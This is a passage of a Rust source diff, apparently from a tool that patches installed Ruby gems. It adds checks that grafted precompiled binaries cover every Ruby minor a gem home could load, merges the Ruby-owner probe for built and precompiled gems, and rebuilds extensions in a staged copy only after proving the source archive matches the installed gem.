replaced by a build of the source gem (schema - /// [`GRAFT_MARKER_SCHEMA`]). + /// [`GRAFT_MARKER_SCHEMA`]). Their paths name the Ruby minors the copy + /// was grafted for (`lib/nokogiri/3.4/nokogiri.bundle`): one per Ruby + /// that ran `apply`. #[serde(default, skip_serializing_if = "std::ops::Not::not")] pub grafted: bool, } @@ -835,12 +893,19 @@ const GRAFT_MARKER_SCHEMA: u32 = 2; /// they hold is never trusted further than the one dir RubyGems builds this /// gem into. fn confined_ext_dir(copy: &GemCopy, label: &str) -> Option { + is_confined_ext_label(©.full_name, label).then(|| copy.home.join(label)) +} + +/// Whether `label` is `extensions///`: the one +/// place under a gem home that RubyGems builds the gem `full_name` into. +/// The one rule for every extension dir this module replaces, moves or +/// deletes, in a gem home or in a stage home. +fn is_confined_ext_label(full_name: &str, label: &str) -> bool { let parts: Vec<&str> = label.split('/').collect(); - let confined = parts.len() == 4 + parts.len() == 4 && parts[0] == "extensions" - && parts[3] == copy.full_name - && is_safe_relative_subpath(label); - confined.then(|| copy.home.join(label)) + && parts[3] == full_name + && is_safe_relative_subpath(label) } fn is_symlink(path: &Path) -> bool { @@ -858,25 +923,26 @@ fn read_marker_sync(gem_dir: &Path) -> Option { }) } -/// Whether `marker` was built from exactly the record's patched native -/// inputs, and every artifact it recorded is still on disk with the bytes it -/// was built with. An artifact path that escapes its dir never verifies. -/// -/// A marker speaks for the kind of copy it was written for: one of an -/// extension dir for a gem that builds its extensions, a grafted one for a -/// precompiled gem, which must name at least one replaced binary. -fn marker_holds( +/// Whether `marker` lists exactly the record's patched native inputs. +fn marker_sources_match( marker: &BuildMarker, - copy: &GemCopy, scope: &NativeScope, files: &HashMap, ) -> bool { - let sources_match = scope.inputs.iter().all(|key| { - marker.sources.get(normalize_file_path(key)) == files.get(key).map(|i| &i.after_hash) - }); - if !sources_match || marker.sources.len() != scope.inputs.len() { - return false; - } + marker.sources.len() == scope.inputs.len() + && scope.inputs.iter().all(|key| { + marker.sources.get(normalize_file_path(key)) == files.get(key).map(|i| &i.after_hash) + }) +} + +/// Whether every artifact `marker` recorded is still on disk with the bytes +/// it was built with. An artifact path that escapes its dir never +/// verifies. +/// +/// A marker speaks for the kind of copy it was written for: one of an +/// extension dir for a gem that builds its extensions, a grafted one for a +/// precompiled gem, which must name at least one replaced binary. +fn marker_artifacts_hold(marker: &BuildMarker, copy: &GemCopy, scope: &NativeScope) -> bool { let artifact_ok = |base: &Path, rel: &str, hash: &str| { is_safe_relative_subpath(rel) && compute_file_git_sha256_sync(&base.join(rel)).is_ok_and(|h| h == hash) @@ -907,6 +973,107 @@ fn marker_holds( && lib_ok() } +/// A prebuilt binary kept per Ruby minor, `//` +/// (`lib/nokogiri/3.4/nokogiri.bundle`): its base dir, minor and file name. +fn minor_layout(target: &str) -> Option<(&str, &str, &str)> { + let (dir, leaf) = target.rsplit_once('/')?; + let (base, minor) = dir.rsplit_once('/').unwrap_or(("", dir)); + (ruby_minor(minor).as_deref() == Some(minor)).then_some((base, minor, leaf)) +} + +/// The binaries a precompiled gem ships for other Rubies beside `target`: +/// the same file name in the sibling dirs named for a Ruby `major.minor` +/// (`lib/nokogiri/3.4/nokogiri.bundle` → `lib/nokogiri/3.3/nokogiri.bundle`, +/// …). None for a binary that is not kept per Ruby minor. +fn prebuilt_siblings(gem_dir: &Path, target: &str) -> Vec { + let Some((base, minor, leaf)) = minor_layout(target) else { + return Vec::new(); + }; + let Ok(entries) = std::fs::read_dir(gem_dir.join(base)) else { + return Vec::new(); + }; + let mut out: Vec = entries + .flatten() + .filter_map(|entry| { + let name = entry.file_name().to_str()?.to_string(); + let other = name != minor && ruby_minor(&name).as_deref() == Some(name.as_str()); + (other && is_real_dir(&entry.path()) && is_real_file(&entry.path().join(leaf))) + .then(|| [base, name.as_str(), leaf].join("/")) + }) + .collect(); + out.sort(); + out +} + +/// The prebuilt binaries a Ruby could still load unpatched from the +/// grafted copy `marker` describes: empty when the graft reaches every one. +/// +/// A graft replaces the binary of the Ruby that built it, and a precompiled +/// gem ships one per Ruby minor. Which of them a gem home's Ruby loads is +/// only known when the home is laid out for one Ruby ([`home_minor`]): +/// then that Ruby's binary is the one that must be grafted, and the others +/// are never loaded. A home that is tied to no Ruby (a custom `GEM_HOME` +/// with no compiled gem in it) can be used by any: every prebuilt binary +/// must be grafted before nothing unpatched can be loaded from it. +fn ungrafted_binaries(marker: &BuildMarker, copy: &GemCopy) -> Vec { + let tied = home_minor(copy); + let mut out: Vec = Vec::new(); + for target in marker.lib_artifacts.keys() { + let Some((base, minor, leaf)) = minor_layout(target) else { + continue; + }; + let needed = match &tied { + Some(tied) if tied == minor => Vec::new(), + Some(tied) => vec![[base, tied.as_str(), leaf].join("/")], + None => prebuilt_siblings(©.gem_dir, target), + }; + for binary in needed { + if !marker.lib_artifacts.contains_key(&binary) && !out.contains(&binary) { + out.push(binary); + } + } + } + out.sort(); + out +} + +/// For a precompiled copy whose binary for the Ruby `minor` is already the +/// build of this record (its marker lists these sources, every binary it +/// lists is still the built one, and one of them is that Ruby's): the +/// prebuilt binaries the graft does not reach ([`ungrafted_binaries`]). +/// `None` when that Ruby's binary is still to be built. +fn ungrafted_after( + copy: &GemCopy, + scope: &NativeScope, + files: &HashMap, + minor: &str, +) -> Option> { + let marker = read_marker_sync(©.gem_dir)?; + let built_for_it = marker.grafted + && marker_sources_match(&marker, scope, files) + && marker_artifacts_hold(&marker, copy, scope) + && marker + .lib_artifacts + .keys() + .any(|target| minor_layout(target).is_some_and(|(_, m, _)| m == minor)); + built_for_it.then(|| ungrafted_binaries(&marker, copy)) +} + +/// Whether `marker` was built from exactly the record's patched native +/// inputs, every artifact it recorded is still on disk with the bytes it +/// was built with, and, for a grafted copy, no prebuilt binary a Ruby +/// could load from its gem home is left unpatched. +fn marker_holds( + marker: &BuildMarker, + copy: &GemCopy, + scope: &NativeScope, + files: &HashMap, +) -> bool { + marker_sources_match(marker, scope, files) + && marker_artifacts_hold(marker, copy, scope) + && (!marker.grafted || ungrafted_binaries(marker, copy).is_empty()) +} + /// `vex` / `apply --check`: the installed gem copy at `pkg_path`, whose /// record files already verify, runs code built from them. A record with no /// native input on this copy passes; one with native inputs passes only when @@ -970,6 +1137,8 @@ struct Probe { extension_dir: PathBuf, /// The gem's first require path as its gemspec spells it (`lib`). require_path: String, + /// Every require path of the gem that stays inside it. + require_paths: Vec, /// `gem_dir` / `require_path`: where RubyGems copies the artifacts. lib_dir: PathBuf, /// What `ruby` said of itself, when it did. @@ -996,10 +1165,7 @@ impl RubyFacts { /// `RUBY_VERSION[/\d+\.\d+/]`: the dir a precompiled gem keeps the /// binary for this Ruby in (`3.4`). fn minor(&self) -> Option { - let mut parts = self.ruby_version.split('.'); - let (major, minor) = (parts.next()?, parts.next()?); - let numeric = |part: &str| !part.is_empty() && part.bytes().all(|b| b.is_ascii_digit()); - (numeric(major) && numeric(minor)).then(|| format!("{major}.{minor}")) + ruby_minor(&self.ruby_version) } fn versions(&self) -> RubyVersions { @@ -1473,15 +1639,25 @@ fn recovery_refusal(copy: &GemCopy, error: &std::io::Error) -> String { } } -/// The copy's first require path, from its gemspec's text: `None` when the -/// spec cannot be read or names none inside the gem. -async fn require_path_of(copy: &GemCopy) -> Option { - crate::utils::fs::read_regular_to_string(©.spec_path) +/// The copy's require paths, from its gemspec's text, those that stay +/// inside the gem: `None` when the spec cannot be read or its first (where +/// RubyGems copies a built extension) is not one of them. +async fn require_paths_of(copy: &GemCopy) -> Option> { + let text = crate::utils::fs::read_regular_to_string(©.spec_path) .await - .ok() - .as_deref() - .and_then(parse_require_path) - .filter(|path| is_safe_relative_subpath(path)) + .ok()?; + let paths = parse_require_paths(&text)?; + is_safe_relative_subpath(paths.first()?).then(|| { + paths + .into_iter() + .filter(|path| is_safe_relative_subpath(path)) + .collect() + }) +} + +/// The copy's first require path ([`require_paths_of`]). +async fn require_path_of(copy: &GemCopy) -> Option { + require_paths_of(copy).await?.into_iter().next() } fn same_path(a: &Path, b: &Path) -> bool { @@ -1499,53 +1675,58 @@ fn canonical(p: &Path) -> Option { /// learn it, so a dry run can refuse on it too. #[derive(Debug, Clone)] struct Preflight { - /// The copy's extension dirs under `/extensions///`. + /// What a Ruby is matched to. For a gem RubyGems built: the copy's + /// extension dirs, `/extensions///`. + /// For a precompiled copy, which has none: the home's + /// `extensions//` dirs, where the Ruby that owns the + /// home built its other gems. installed: Vec, /// The Rubies that may own the install, best first. candidates: Vec, - /// The gem's first require path, from its gemspec's text. - require_path: String, + /// The gem's require paths, from its gemspec's text; RubyGems copies a + /// built extension under the first. + require_paths: Vec, +} + +/// The home's `extensions//` dirs. +fn abi_dirs(copy: &GemCopy) -> Vec { + let mut dirs: Vec = extension_dir_slots(copy) + .iter() + .filter_map(|slot| slot.parent().map(Path::to_path_buf)) + .filter(|abi| is_real_dir(abi)) + .collect(); + dirs.dedup(); + dirs } -/// The [`Preflight`] of `copy`. A gem with no extension dir (installed by a -/// RubyGems older than 2.2, or its build removed) has no build a Ruby can -/// be matched to. `Err` names why the copy cannot be rebuilt. -async fn rebuild_preflight(copy: &GemCopy, env: &RubyEnv) -> Result { +/// The [`Preflight`] of `copy`. A gem RubyGems built with no extension dir +/// (installed by a RubyGems older than 2.2, or its build removed) has no +/// build a Ruby can be matched to; a `precompiled` copy never has one. +/// `Err` names why the copy cannot be rebuilt. +async fn rebuild_preflight( + copy: &GemCopy, + env: &RubyEnv, + precompiled: bool, +) -> Result { let installed = { let copy = copy.clone(); - crate::utils::fs::run_blocking(move || installed_extension_dirs(©)).await + crate::utils::fs::run_blocking(move || { + if precompiled { + abi_dirs(©) + } else { + installed_extension_dirs(©) + } + }) + .await }; - if installed.is_empty() { + if !precompiled && installed.is_empty() { return Err(format!( "the gem has no compiled extension dir under {} (it was installed by a \ RubyGems older than 2.2, or its build is missing)", copy.home.join("extensions").display() )); } - let require_path = require_path_of(copy).await.ok_or_else(|| { - format!( - "{} does not name a require path inside the gem", - copy.spec_path.display() - ) - })?; - let candidates = ruby_candidates(copy, &env.cwd); - if candidates.is_empty() { - return Err("no `ruby` was found on PATH to rebuild it with".to_string()); - } - Ok(Preflight { - installed, - candidates, - require_path, - }) -} - -/// What a rebuild of a precompiled copy needs that files alone tell -/// ([`rebuild_preflight`] for a gem RubyGems built): a require path its -/// prebuilt binaries sit under and a Ruby to try. It has no extension dir; -/// `installed` are the home's `extensions//` dirs, where the -/// Ruby that owns the home built its other gems. -async fn graft_preflight(copy: &GemCopy, env: &RubyEnv) -> Result { - let require_path = require_path_of(copy).await.ok_or_else(|| { + let require_paths = require_paths_of(copy).await.ok_or_else(|| { format!( "{} does not name a require path inside the gem", copy.spec_path.display() @@ -1555,80 +1736,13 @@ async fn graft_preflight(copy: &GemCopy, env: &RubyEnv) -> Result = extension_dir_slots(©) - .iter() - .filter_map(|slot| slot.parent().map(Path::to_path_buf)) - .filter(|abi| is_real_dir(abi)) - .collect(); - dirs.dedup(); - dirs - }) - .await - }; Ok(Preflight { installed, candidates, - require_path, + require_paths, }) } -/// Find the Ruby that owns `copy`'s install: the one whose extension dir -/// for this gem is the installed `/extensions///` one -/// (its platform and ABI). Each candidate is asked where it builds -/// extensions for the gem home ([`RubyRun::ExtensionsDir`]), which loads -/// nothing of the gem. `Err` names why none qualifies. -async fn find_ruby(copy: &GemCopy, env: &RubyEnv, preflight: Preflight) -> Result { - let Preflight { - installed, - candidates, - require_path, - } = preflight; - let mut reasons = Vec::new(); - for ruby in candidates { - let run = RubyRun::ExtensionsDir { platform: None }; - let stdout = match run_ruby(&ruby, run, copy, env, PROBE_TIMEOUT).await { - Ok(s) => s, - Err(e) => { - reasons.push(format!("{}: {e}", ruby.display())); - continue; - } - }; - let Some(extensions_dir) = parse_extensions_dir(&stdout) else { - reasons.push(format!("{}: unreadable probe output", ruby.display())); - continue; - }; - let extension_dir = extensions_dir.join(©.full_name); - if !installed.iter().any(|d| same_path(d, &extension_dir)) { - reasons.push(format!( - "{} builds into {}, but the installed extension is {} (another Ruby's)", - ruby.display(), - extension_dir.display(), - installed - .iter() - .map(|d| d.display().to_string()) - .collect::>() - .join(", ") - )); - continue; - } - return Ok(Probe { - ruby, - gem_dir: copy.gem_dir.clone(), - extension_dir, - lib_dir: copy.gem_dir.join(&require_path), - require_path, - facts: parse_ruby_facts(&stdout), - }); - } - Err(format!( - "no Ruby owning this install was found ({})", - reasons.join("; ") - )) -} - /// Whether a gem home's leaf dir names a Ruby ABI (`3.4.0`), as the homes /// RubyGems and Bundler lay out do (`/lib/ruby/gems/3.4.0`, /// `vendor/bundle/ruby/3.4.0`, `~/.gem/ruby/3.4.0`). @@ -1640,35 +1754,73 @@ fn abi_of_home(home: &Path) -> Option { versioned.then(|| leaf.to_string()) } -/// [`find_ruby`] for a precompiled copy of the platform `platform`, which -/// has no extension dir to match a Ruby to. The Ruby that owns it: +/// `major.minor` of a Ruby version or ABI (`3.4.10`, `3.4.0`, +/// `3.4.0-static`): what a precompiled gem names the dir of the binary it +/// ships for that Ruby. +fn ruby_minor(version: &str) -> Option { + let mut parts = version.split(['.', '-', '+']); + let (major, minor) = (parts.next()?, parts.next()?); + let numeric = |part: &str| !part.is_empty() && part.bytes().all(|b| b.is_ascii_digit()); + (numeric(major) && numeric(minor)).then(|| format!("{major}.{minor}")) +} + +/// The Ruby `major.minor` a gem home is laid out for, when its files tie it +/// to exactly one: the ABI its dir name carries (`…/ruby/3.4.0`) and the +/// ABI of every `extensions//` dir in it agree. `None` for a +/// home that shows no ABI (a custom `GEM_HOME` holding no compiled gem) or +/// more than one: any Ruby may be pointed at such a home. +fn home_minor(copy: &GemCopy) -> Option { + let mut minors: Vec = abi_dirs(copy) + .iter() + .filter_map(|dir| dir.file_name()?.to_str().and_then(ruby_minor)) + .collect(); + minors.extend(abi_of_home(©.home).as_deref().and_then(ruby_minor)); + minors.sort(); + minors.dedup(); + match minors.as_slice() { + [one] => Some(one.clone()), + _ => None, + } +} + +/// Find the Ruby that owns `copy`'s install. Each candidate is asked where +/// it builds extensions for the gem home, and what it is +/// ([`RubyRun::ExtensionsDir`]), which loads nothing of the gem. `Err` +/// names why none qualifies. +/// +/// For a gem RubyGems built (`platform: None`) the owner is the Ruby whose +/// extension dir for this gem is the installed +/// `/extensions///` one (its platform and ABI). +/// +/// A precompiled copy (of `platform`) has no extension dir to match. Its +/// owner: /// /// * runs gems of that platform (`Gem::Platform#===`, as RubyGems picks a /// platform gem), and /// * builds extensions for the ABI this gem home has some for (the /// `` of its `extensions//` dirs, from its other -/// native gems); in a home with none, its ABI is the one the home's dir -/// name carries (`…/ruby/3.4.0`), when it carries one. A home that shows +/// native gems; the platform dir above it may be spelled for another OS +/// release); in a home with none, its ABI is the one the home's dir name +/// carries (`…/ruby/3.4.0`), when it carries one. A home that shows /// neither is taken to be the candidate's. /// -/// Its facts are part of the answer: the build is grafted over the binary -/// the gem keeps for that Ruby's `major.minor`. -async fn find_platform_ruby( +/// Its facts are then part of the answer: the build is grafted over the +/// binary the gem keeps for that Ruby's `major.minor`. +async fn find_ruby( copy: &GemCopy, env: &RubyEnv, preflight: Preflight, - platform: &str, + platform: Option<&str>, ) -> Result { let Preflight { installed, candidates, - require_path, + require_paths, } = preflight; + let require_path = require_paths.first().cloned().unwrap_or_default(); let mut reasons = Vec::new(); for ruby in candidates { - let run = RubyRun::ExtensionsDir { - platform: Some(platform), - }; + let run = RubyRun::ExtensionsDir { platform }; let stdout = match run_ruby(&ruby, run, copy, env, PROBE_TIMEOUT).await { Ok(s) => s, Err(e) => { @@ -1676,51 +1828,67 @@ async fn find_platform_ruby( continue; } }; - let (Some(extensions_dir), Some(facts)) = - (parse_extensions_dir(&stdout), parse_ruby_facts(&stdout)) - else { + let facts = parse_ruby_facts(&stdout); + let Some(extensions_dir) = parse_extensions_dir(&stdout) else { reasons.push(format!("{}: unreadable probe output", ruby.display())); continue; }; - if facts.runs_platform != Some(true) { - reasons.push(format!( - "{} is a {} Ruby, which does not run {platform} gems", + let extension_dir = extensions_dir.join(©.full_name); + let disowned = match platform { + None if installed.iter().any(|d| same_path(d, &extension_dir)) => None, + None => Some(format!( + "{} builds into {}, but the installed extension is {} (another Ruby's)", ruby.display(), - facts.platform - )); - continue; - } - // The `` dir this Ruby builds into (`3.4.0`): the platform dir - // above it may be spelled for another OS release (`arm64-darwin-24` - // after an upgrade), and the gem's own platform was just checked. - let abi_dir = extensions_dir.file_name().map(|n| n.to_os_string()); - let abi = abi_dir - .as_ref() - .map(|n| n.to_string_lossy().trim_end_matches("-static").to_string()) - .unwrap_or_default(); - let owns = if !installed.is_empty() { - installed - .iter() - .any(|dir| dir.file_name().map(|n| n.to_os_string()) == abi_dir) - } else { - abi_of_home(©.home).is_none_or(|home_abi| home_abi == abi) + extension_dir.display(), + installed + .iter() + .map(|d| d.display().to_string()) + .collect::>() + .join(", ") + )), + Some(platform) => match &facts { + None => Some(format!("{}: unreadable probe output", ruby.display())), + Some(facts) if facts.runs_platform != Some(true) => Some(format!( + "{} is a {} Ruby, which does not run {platform} gems", + ruby.display(), + facts.platform + )), + Some(_) => { + let abi_dir = extensions_dir.file_name().map(|n| n.to_os_string()); + let abi = abi_dir + .as_ref() + .map(|n| n.to_string_lossy().trim_end_matches("-static").to_string()) + .unwrap_or_default(); + let owns = if installed.is_empty() { + abi_of_home(©.home).is_none_or(|home_abi| home_abi == abi) + } else { + installed + .iter() + .any(|dir| dir.file_name().map(|n| n.to_os_string()) == abi_dir) + }; + (!owns).then(|| { + format!( + "{} builds extensions into {}, and this gem home's are built for \ + another Ruby ABI", + ruby.display(), + extensions_dir.display() + ) + }) + } + }, }; - if !owns { - reasons.push(format!( - "{} builds extensions into {}, and this gem home's are built for another Ruby \ - ABI", - ruby.display(), - extensions_dir.display() - )); + if let Some(why) = disowned { + reasons.push(why); continue; } return Ok(Probe { ruby, gem_dir: copy.gem_dir.clone(), - extension_dir: extensions_dir.join(©.full_name), + extension_dir, lib_dir: copy.gem_dir.join(&require_path), require_path, - facts: Some(facts), + require_paths, + facts, }); } Err(format!( @@ -1773,8 +1941,8 @@ pub(crate) async fn install_staged( if let Err(e) = recover_interrupted_rebuild(©).await { return Err(recovery_refusal(©, &e)); } - let preflight = rebuild_preflight(©, env).await?; - let probe = find_ruby(©, env, preflight).await?; + let preflight = rebuild_preflight(©, env, false).await?; + let probe = find_ruby(©, env, preflight, None).await?; let label = ext_dir_label(©.home, &probe.extension_dir); if confined_ext_dir(©, &label).is_none() { return Err(format!( @@ -2354,21 +2522,25 @@ impl Stage { } /// Open an empty stage for `copy` inside its gem home. `Err` says why the -/// build cannot be staged there. -fn open_stage(copy: &GemCopy) -> Result { +/// build cannot be staged there: [`StageFailure::Busy`] when a run that is +/// still alive holds it, else [`StageFailure::NoStage`]. +fn open_stage(copy: &GemCopy) -> Result { // The stage is emptied and written under the gem home. A link planted // where it goes would move both somewhere else. let (parent, root) = stage_dirs(copy).map_err(|planted| { - format!( + StageFailure::NoStage(format!( "its stage directory {} is not a directory", planted.display() - ) + )) })?; let failed = |e: std::io::Error| { if e.kind() == std::io::ErrorKind::WouldBlock { - recovery_refusal(copy, &e) + StageFailure::Busy(recovery_refusal(copy, &e)) } else { - format!("a build could not be staged in {}: {e}", parent.display()) + StageFailure::NoStage(format!( + "a build could not be staged in {}: {e}", + parent.display() + )) } }; sweep_stale_stage(copy).map_err(failed)?; @@ -2433,14 +2605,61 @@ struct StagedBuild { label: String, } -/// Why a staged gem did not build. +/// Why a copy's extension was not built from its source gem. Whatever the +/// reason, nothing of the installed copy was touched: a gem RubyGems built +/// can still be rebuilt in place, from its own tree. #[derive(Debug)] enum StageFailure { + /// Another run is building this gem in its stage right now. The one + /// failure after which nothing else is tried. + Busy(String), + /// There is no archive to build from. + NoArchive(String), + /// The stage could not be opened in the gem home. + NoStage(String), + /// RubyGems could not unpack the archive as this gem. + Unpack(String), + /// The archive is not the installed copy's own source + /// ([`prove_own_source`]). + NotOwnSource(String), + /// The record does not apply to the pristine source gem. + Mismatch(String), /// A gem its build scripts depend on is not installed and could not be /// staged beside it. Dependencies(String), /// RubyGems' builder failed: the build's diagnostic. Build(String), + /// The build leaves what Ruby loads in the gem's own tree + /// ([`in_tree_products`]), where a build staged elsewhere cannot stand + /// in for it. + InTree(Vec), +} + +impl StageFailure { + /// The failure as a clause of a message. + fn describe(&self) -> String { + match self { + StageFailure::Busy(why) + | StageFailure::NoArchive(why) + | StageFailure::NoStage(why) + | StageFailure::Dependencies(why) => why.clone(), + StageFailure::Unpack(why) => format!("the archive could not be unpacked ({why})"), + StageFailure::NotOwnSource(why) => { + format!("the archive is not the installed gem's own source: {why}") + } + StageFailure::Mismatch(why) => { + format!("the patch does not apply to the source gem: {why}") + } + StageFailure::Build(diagnostic) => { + format!("the source gem did not build:\n{diagnostic}") + } + StageFailure::InTree(products) => format!( + "the source gem's build leaves {} in the gem's own tree, which is where it is \ + loaded from, and a build staged elsewhere cannot take its place", + products.join(", ") + ), + } + } } /// Unpack `archive` (the source gem `source`) into `stage` with the Ruby @@ -2489,6 +2708,82 @@ async fn unpack_in_stage( Ok(staged) } +/// Every regular file under `dir`, relative and `/`-separated, sorted. +/// Links are neither followed nor listed. +fn tree_files(dir: &Path) -> Vec { + walkdir::WalkDir::new(dir) + .follow_links(false) + .sort_by_file_name() + .into_iter() + .flatten() + .filter(|entry| entry.file_type().is_file()) + .filter_map(|entry| { + let rel = entry.path().strip_prefix(dir).ok()?; + Some( + rel.components() + .map(|c| c.as_os_str().to_string_lossy().into_owned()) + .collect::>() + .join("/"), + ) + }) + .collect() +} + +/// Prove that the gem unpacked at `staged` is the installed copy's own +/// source, before anything of it is built: every file the two trees share +/// must be byte-identical. `Ok` is the number of files that agreed. +/// +/// An archive is found by the gem's name and version (the home's `cache/`, +/// the registry), and a name does not say whose gem it is: a private gem +/// can share the name of a public one, and the lock that would tell them +/// apart is not always the one at the project root. The files do say. A +/// copy RubyGems built shares everything its build did not delete or +/// generate; a precompiled copy shares its Ruby files and the sources of +/// the binary it ships. A file of the record (`files`) may hold what the +/// record writes instead, and one that holds neither content is left to +/// the run's mismatch policy, as on the installed copy. Any other +/// difference, or no shared file at all, means this is not that gem. +fn prove_own_source( + installed: &Path, + staged: &Path, + files: &HashMap, +) -> Result { + let record: HashMap<&str, &PatchFileInfo> = files + .iter() + .map(|(key, info)| (normalize_file_path(key), info)) + .collect(); + let mut agreed = 0; + for rel in tree_files(staged) { + let theirs = installed.join(&rel); + match std::fs::symlink_metadata(&theirs) { + Err(_) => continue, + Ok(meta) if !meta.is_file() => { + return Err(format!("{rel} is not a file in the installed gem")) + } + Ok(_) => {} + } + let (Ok(ours), Ok(theirs)) = ( + compute_file_git_sha256_sync(&staged.join(&rel)), + compute_file_git_sha256_sync(&theirs), + ) else { + return Err(format!("{rel} could not be read to compare")); + }; + match record.get(rel.as_str()) { + _ if ours == theirs => agreed += 1, + Some(info) if info.after_hash == theirs => agreed += 1, + // The installed file is the one the record replaces, and the + // archive's is another: not the gem the copy was installed + // from. Content that is neither is the mismatch policy's. + Some(info) if info.before_hash != theirs => {} + _ => return Err(format!("{rel} differs from the installed gem's")), + } + } + if agreed == 0 { + return Err("it shares no file with the installed gem".to_string()); + } + Ok(agreed) +} + /// Lay the record's files over the staged source gem, with the engine that /// patches an installed copy. Every `beforeHash` is checked against the /// pristine gem (`Strict`, whatever the run's policy for the installed @@ -2648,54 +2943,232 @@ async fn stage_dependencies( } } -/// Build the staged gem's extensions inside the stage home, with the Ruby -/// that owns the copy and the build arguments RubyGems recorded for it. -/// Nothing of the installed copy is touched. -async fn build_staged( - copy: &GemCopy, - probe: &Probe, - source: &GemId, - staged: StagedGem, - stage: &Stage, - gems: &GemSource, - env: &RubyEnv, -) -> Result { - stage_dependencies(copy, probe, &staged, stage, gems, env) - .await - .map_err(StageFailure::Dependencies)?; - let run = RubyRun::StageBuild { - spec: &staged.spec_path, +/// Whether a gem path is under one of `require_paths` (a gem that requires +/// from its root says nothing about a file). +fn under_require_path(path: &str, require_paths: &[String]) -> bool { + require_paths.iter().any(|require_path| { + let dir = require_path.trim_start_matches("./").trim_end_matches('/'); + !dir.is_empty() + && dir != "." + && path + .strip_prefix(dir) + .is_some_and(|rest| rest.starts_with('/')) + }) +} + +/// Whether a file name is a shared library's (`x.so`, `x.bundle`, +/// `libx.dylib`, `x.dll`, `libx.so.1`, or the suffix `dlext` of the +/// building Ruby): what Ruby, or FFI, loads compiled code from. +fn is_library_name(leaf: &str, dlext: Option<&str>) -> bool { + let lower = leaf.to_ascii_lowercase(); + lower.contains(".so.") + || lower.rsplit_once('.').is_some_and(|(stem, ext)| { + !stem.is_empty() + && (["so", "bundle", "dylib", "dll"].contains(&ext) || dlext == Some(ext)) + }) +} + +/// The files of the gem tree at `gem_dir` that Ruby could load, each with +/// its git-sha256: every file under a require path, and every shared +/// library by name wherever it sits. +fn loadable_files( + gem_dir: &Path, + require_paths: &[String], + dlext: Option<&str>, +) -> BTreeMap { + tree_files(gem_dir) + .into_iter() + .filter(|rel| { + under_require_path(rel, require_paths) || is_library_name(leaf_of(rel), dlext) + }) + .filter_map(|rel| { + let hash = compute_file_git_sha256_sync(&gem_dir.join(&rel)).ok()?; + Some((rel, hash)) + }) + .collect() +} + +/// What a staged build left in the staged gem's own tree that Ruby could +/// load, beyond what it left in the extension dir: every loadable file +/// ([`loadable_files`]) the build created or changed (`before` is the tree +/// as it was built from), other than the `lib/` copies RubyGems makes of +/// the extension dir's artifacts and files that are byte for byte one of +/// those artifacts (a build dir `make clean` did not empty). +/// +/// A gem whose build leaves a library there loads it from there (an FFI +/// gem's `ext//lib.so`, a Rakefile build's `lib/.so`). +/// Moving the extension dir in would leave the installed copy loading the +/// old one, and such a library can carry the paths of the tree it was +/// built in: that gem is built where it is installed, or not at all. +fn in_tree_products( + built: &StagedBuild, + before: &BTreeMap, + probe: &Probe, +) -> Vec { + let dlext = probe.facts.as_ref().map(|facts| facts.dlext.as_str()); + let artifacts = artifact_rels(&built.extension_dir); + let lib_copies: Vec = artifacts + .iter() + .map(|rel| format!("{}/{rel}", probe.require_path)) + .collect(); + let artifact_hashes: Vec = artifacts + .iter() + .filter_map(|rel| compute_file_git_sha256_sync(&built.extension_dir.join(rel)).ok()) + .collect(); + loadable_files(&built.gem.gem_dir, &probe.require_paths, dlext) + .into_iter() + .filter(|(rel, hash)| { + before.get(rel) != Some(hash) + && !lib_copies.contains(rel) + && !artifact_hashes.contains(hash) + }) + .map(|(rel, _)| rel) + .collect() +} + +/// A record to lay over a staged source gem. +struct StagedRecord<'a> { + read_scope: crate::utils::repo_root::ReadScope, + package_key: &'a str, + /// The installed copy, whose already patched files can stand in for + /// blobs ([`stage_blobs`]). + pkg_path: &'a Path, + scope: &'a NativeScope, + files: &'a HashMap, + sources: &'a PatchSources<'a>, +} + +/// Build the extension of `copy` from `archive` (its source gem, `source`) +/// in a stage inside its gem home, with `record` laid over the sources +/// (`None`: the gem as it shipped). Nothing of the installed copy is +/// touched. The steps, each of which must hold before the next: +/// +/// 1. RubyGems unpacks the archive, which must be that gem and declare +/// extensions ([`unpack_in_stage`]). +/// 2. The unpacked tree is proven to be the installed copy's own source +/// ([`prove_own_source`]). +/// 3. The record is applied to it, every `beforeHash` holding +/// ([`patch_staged_gem`]). +/// 4. The gems its build lacks are staged beside it +/// ([`stage_dependencies`]), and RubyGems builds its extensions. +/// 5. The build left nothing Ruby loads outside the extension dir +/// ([`in_tree_products`]). +/// +/// `Ok` hands back the open stage with the build in it; the caller closes +/// it ([`close_stage`]) once the build is in place. On `Err` the stage is +/// gone. +async fn build_from_source_gem( + copy: &GemCopy, + probe: &Probe, + source: &GemId, + archive: Vec, + gems: &GemSource, + env: &RubyEnv, + record: Option<&StagedRecord<'_>>, +) -> Result<(Stage, StagedBuild), StageFailure> { + let stage = { + let copy = copy.clone(); + crate::utils::fs::run_blocking(move || open_stage(©)).await? + }; + let built = build_in_stage(copy, probe, source, archive, gems, env, record, &stage).await; + match built { + Ok(built) => Ok((stage, built)), + Err(failure) => { + close_stage(stage, copy).await; + Err(failure) + } + } +} + +/// [`build_from_source_gem`], inside its open stage. +#[allow(clippy::too_many_arguments)] +async fn build_in_stage( + copy: &GemCopy, + probe: &Probe, + source: &GemId, + archive: Vec, + gems: &GemSource, + env: &RubyEnv, + record: Option<&StagedRecord<'_>>, + stage: &Stage, +) -> Result { + let staged = unpack_in_stage(copy, probe, source, archive, stage, env) + .await + .map_err(StageFailure::Unpack)?; + { + let (installed, unpacked) = (copy.gem_dir.clone(), staged.gem_dir.clone()); + let files = record.map(|r| r.files.clone()).unwrap_or_default(); + crate::utils::fs::run_blocking(move || prove_own_source(&installed, &unpacked, &files)) + .await + .map_err(StageFailure::NotOwnSource)?; + } + // The record over the pristine source gem, before anything runs. + if let Some(record) = record { + let blobs = stage_blobs(record.pkg_path, record.files, record.sources).await; + let sources = PatchSources { + blobs_path: record.sources.blobs_path, + mem_blobs: Some(&blobs), + }; + patch_staged_gem( + record.read_scope, + record.package_key, + &staged, + record.scope, + record.files, + &sources, + ) + .await + .map_err(StageFailure::Mismatch)?; + } + let dlext = probe.facts.as_ref().map(|facts| facts.dlext.clone()); + let before = { + let (gem_dir, require_paths) = (staged.gem_dir.clone(), probe.require_paths.clone()); + crate::utils::fs::run_blocking(move || { + loadable_files(&gem_dir, &require_paths, dlext.as_deref()) + }) + .await + }; + stage_dependencies(copy, probe, &staged, stage, gems, env) + .await + .map_err(StageFailure::Dependencies)?; + let run = RubyRun::StageBuild { + spec: &staged.spec_path, stage_home: &stage.home, }; stage.beat(); let stdout = run_ruby(&probe.ruby, run, copy, 